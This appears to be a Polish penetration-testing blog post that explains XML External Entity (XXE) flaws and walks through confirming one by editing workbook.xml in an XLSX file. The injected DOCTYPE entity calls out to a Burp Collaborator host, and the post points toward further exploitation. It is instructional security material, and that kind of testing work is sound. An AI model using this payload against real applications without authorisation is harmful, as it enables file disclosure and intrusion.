Podatność XML External Entity (XXE) polega na tym, że podczas parsowania struktury dokumentu XML zwanej Document Type Definition (DTD) dopuszczone jest definiowanie własnych encji XML-owych. W zależności od silnika przetwarzającego XML-a po stronie serwerowej i konfiguracji środowiska możliwe jest różnorakie wykorzystanie tego typu podatności. Począwszy od listowania katalogów na systemie, czytania plików aplikacyjnych i systemowych, zdobycia zaszyfrowanego hasła użytkownika aplikacji, a także przesyłania plików na serwer czy też wykonania poleceń systemowych.
Klasyczny scenariusz tego typu podatności zakłada, że mamy do czynienia z żądaniem zawierającym w swoim ciele XML-a do którego doklejamy część odpowiedzialną, za definicje własnej encji. Podatność ta jednak, może wystąpić także gdy mamy do czynienia z aplikacją, która w jakiś sposób przetwarza pliki Excela .XLSX , Worda .DOCX lub PowerPointa .PPTX. Zawdzięczamy to temu, że tego typu pliki będące zgodne ze standardem OOXML, tym samym są po prostu spakowanymi kilkoma plikami .XML.
Szybki scenariusz ataku wygląda następująco:
- Utwórz nowy pusty dokument .XLSX. Może wykorzystać do tego „Arkusz Google”.
2. Otwórz Burp Suite Professional -> Burp -> Burp Collaborator Client . Następnie kliknij przycisk „Copy to clipboard”. W moim przypadku adres serwera był następujący – lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net.
Alternatywnie jeżeli masz zewnętrze IP, możesz użyć prostego serwera HTTP w pythonie – „python3 -m http.server 8080”.
3. Otwórz pobrany plik za pomocą 7zip-a.
3. Edytuj plik „workbook.xml” znajdujący się w katalogu „xl”, dodając poniższy kod (oczywiście zamieniając adres serwera na własny):
<!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net/"> %xxe; ]>
UWAGA- w jednej z testowanej przeze mnie aplikacji podatność XXE ujawniła się po edycji „[Content_Types].xml”, więc warto sprawdzić i ten plik.
4. Zapisz zmiany i prześlij plik w testowanej aplikacji.
5. Teraz sprawdź klienta Collaboratora czy pojawiły się w nim jakieś żądania:
6. Ciesz się 🙂 – właśnie potwierdziłeś podatność XXE w testowanej aplikacji i możesz przejść do dalszej jej eksploitacji.
Powszechnie używanym zabezpieczeniem przed XXE jest całkowite wyłączenie ładowania zewnętrznych encji w parserze XML-a.
Pingback:Weekendowa Lektura: odcinek 424 [2021-07-17]. Bierzcie i czytajcie | Zaufana Trzecia Strona